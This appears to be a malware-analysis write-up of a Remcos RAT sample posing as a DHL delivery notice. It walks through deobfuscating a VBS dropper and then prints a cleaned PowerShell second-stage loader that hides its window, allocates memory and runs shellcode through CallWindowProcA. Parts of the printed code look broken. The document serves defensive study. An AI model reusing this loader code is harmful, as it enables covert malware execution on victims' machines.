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Remcos RAT (Remote Control and Surveillance) is a malware tool used for remote control of infected computers, typically distributed via phishing emails, malicious attachments, or compromised websites. It allows attackers to capture keystrokes, take screenshots, record audio, steal passwords, manage files and manipulate processes and services.

Static Analysis

Figure 1: Malware Bazaar Entry

This sample was uploaded to Malware Bazaar, impersonating a DHL delivery notification.

Figure 2: Obfuscated VBS

Figure 3: Second part of the VBS

We can already see strings related to PowerShell, as marked in Figures 2 and 3. I decided to clean the code a bit to make it more readable.

Figure 4: Cleaned VBS

As marked in Figure 4, this function is being called on almost every variable. Basically, what this function does is take a large string and extract every 5th character to build a new string.

Figure 5: Building Regex in CyberChef

After iterating over every variable and decoding it, we got the following output:

Figure 6: Deobfuscated VBS

As marked in Figure 6, we can see a URL and a specific byte location from which it reads and performs further manipulation.

Second Stage

In order to obtain the second stage of the malware, I needed to browse to this URL, which output a large string.

Figure 7: Seeing The content of the URL

I used CyberChef to base64-decode this file and went to the specific location marked in Figure 6. This revealed the actual second-stage malware.

Figure 8: Base64-decode

Copying the entire code to a new file revealed that it uses the same function (Regex) as before and a new encoding method.

Figure 9: Using the Same Regex

Figure 10: Using new encoding method

After further analysis, I discovered that this new encoding method uses XOR with 17 in Hex as the key to decode the string, as shown in Figure 11.

Figure 11: Using CyberChef to decode

Figure 12: Decoding of every XOR encoded

VBS After Decoding & Cleaning

$Woadman='\syswow64\WindowsPowerShell\v1.0\powershell.exe '
$Hogg='powershell.exe '
$Skamfilendes ='exit '
Smedemestres ('$global:Recants=$env:windir + $Woadman ') 
Smedemestres ('$global:Desinficeringsmidlerne = ((gwmi win32_process -F ProcessId=${PID}).CommandLine) -split [char]34 ')
Smedemestres ('$global:gammoned = $Desinficeringsmidlerne[$Desinficeringsmidlerne.count-2] ')
Smedemestres ('$global:Forbigangen = ([IntPtr]::size -eq 8) ')
Smedemestres ('if (!$Forbigangen){ $global:Recants = $Hogg} ')
Smedemestres ('$global:Turboladedes=($Understimuleret -or $Forbigangen) ')
&$Recants $gammoned
Smedemestres $Skamfilendes
function Skinproblemer136 ($Gutsily,$Mdeaftalerne) {

Smedemestres ('$Gutsily -bxor $Mdeaftalerne ')


Function Irvings27 ($vagtposten, $Herpetolog = 0){

Smedemestres ('$global:Blomsterkoste = New-Object byte[] ($vagtposten.Length / 2) $global:Blomsterkoste = New-Object byte[] ($vagtposten.Length / 2) ')

For($Milvine=0; $Milvine -lt $vagtposten.Length; $Milvine+=2){

Smedemestres ('$Blomsterkoste[$Milvine/2] = [convert]::ToByte($vagtposten.Substring($Milvine, 2), 16) ')
$Blomsterkoste[$Milvine/2] = Skinproblemer136 $Blomsterkoste[$Milvine/2] 23
Smedemestres ('$global:Pigeonholes=[String][System.Text.Encoding]::ASCII.GetString($Blomsterkoste) ')
if ($Herpetolog) { 
Smedemestres $Pigeonholes
}else {
$Revisionen=Irvings27 'System.dll'
$Miniatureformaters=Irvings27 'Microsoft.Win32.UnsafeNativeMethods'
$Ekskursionens=Irvings27 'GetProcAddress'
$Masterstroke=Irvings27 'System.Runtime.InteropServices.HandleRef'
$Nationalistiske=Irvings27 'string'
$Waling89=Irvings27 'GetModuleHandle'
$Lige=Irvings27 'RTSpecialName, HideBySig, Public'
$Coelanaglyphic=Irvings27 'Runtime, Managed'
$Zorn=Irvings27 'ReflectedDelegate'
$Fljtespillernes=Irvings27 'InMemoryModule'
$requital=Irvings27 'MyDelegateType'
$Mancipate=Irvings27 'Class, Public, Sealed, AnsiClass, AutoClass'
$Paritetsbit=Irvings27 'Invoke'
$Intenible=Irvings27 'Public, HideBySig, NewSlot, Virtual'
$Lanolated=Irvings27 'VirtualAlloc'
$Konfererende=Irvings27 'ntdll'
$Premeasure=Irvings27 'NtProtectVirtualMemory'
$Postantennal=Irvings27 '\'
$Squalidness=Irvings27 'USER32'
$Froprdiken=Irvings27 'CallWindowProcA'
$dermatopathophobia = Irvings27 'kernel32'
$Gaveafgifters = Irvings27 'user32'
$Muschelkalk=Irvings27 'ShowWindow'
function Platinamine ($Ravishments, $Byrindets) 
	Irvings27 '$global:Datareduktionsfordelens = [AppDomain]::CurrentDomain.GetAssemblies()' 1
	Irvings27 '$global:Forpagtningsforhold = ($Datareduktionsfordelens | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split($Postantennal)[-1].Equals($Revisionen) }).GetType($Miniatureformaters)' 1
	Irvings27 '$global:Firesafe = $Forpagtningsforhold.GetMethod($Ekskursionens, [Type[]] @($Masterstroke, $Nationalistiske))' 1
	Irvings27 'return $Firesafe.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($Forpagtningsforhold.GetMethod($Waling89)).Invoke($null, @($Ravishments)))), $Byrindets))' 1
function Taenkte ([Parameter(Position = 0)] [Type[]] $Nominations,[Parameter(Position = 1)] [Type] $Baggrundslager = [Void])
	Irvings27 '$global:Bagvasker = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Zorn)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Fljtespillernes, $false).DefineType($requital, $Mancipate, [System.MulticastDelegate])' 1
	Irvings27 '$Bagvasker.DefineConstructor($Lige, $Nuklearmedicin85, $Nominations).SetImplementationFlags($Coelanaglyphic)' 1
	Irvings27 '$Bagvasker.DefineMethod($Paritetsbit, $Intenible, $Baggrundslager, $Nominations).SetImplementationFlags($Coelanaglyphic)' 1
	Irvings27 'return $Bagvasker.CreateType()' 1
Irvings27 '$global:Headroom = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Platinamine $dermatopathophobia $Lanolated), (Taenkte @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))' 1
Irvings27 '$global:Rhema = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Platinamine $Gaveafgifters $Muschelkalk), (Taenkte @([IntPtr], [UInt32]) ([IntPtr])))' 1
$Holloa = 'Varigheder'
Irvings27 '${Host}.UI.RawUI.WindowTitle = $Holloa' 1
Irvings27 '$global:Niches = (Get-Process | Where-Object { $_.MainWindowTitle -eq $Holloa })' 1
Irvings27 '$global:Backsliding = $Niches.MainWindowHandle' 1
Irvings27 '$Rhema.Invoke($Backsliding, $Indvendendes)' 1
$Nonmethodically = Platinamine $Konfererende $Premeasure
Irvings27 '$global:Resultaterne = $Headroom.Invoke($Indvendendes, 655, $GutsilyllocType, $GutsilyllocProt)' 1
Irvings27 '$global:Arbejdsbyrder = $Headroom.Invoke($Indvendendes, 26640384, $GutsilyllocType, $Gutsilyllocrw)' 1
Irvings27 '[System.Runtime.InteropServices.Marshal]::Copy($Okkuperingers, $Indvendendes,  $Resultaterne, 655)' 1
Irvings27 '[System.Runtime.InteropServices.Marshal]::Copy($Okkuperingers, 655, $Arbejdsbyrder, $Divergence)' 1
Irvings27 '$global:Erobringstogt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Platinamine $Squalidness $Froprdiken), (Taenkte @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))' 1
Irvings27 '$Erobringstogt.Invoke($Resultaterne,$Arbejdsbyrder,$Nonmethodically,$Indvendendes,$Indvendendes)' 1 


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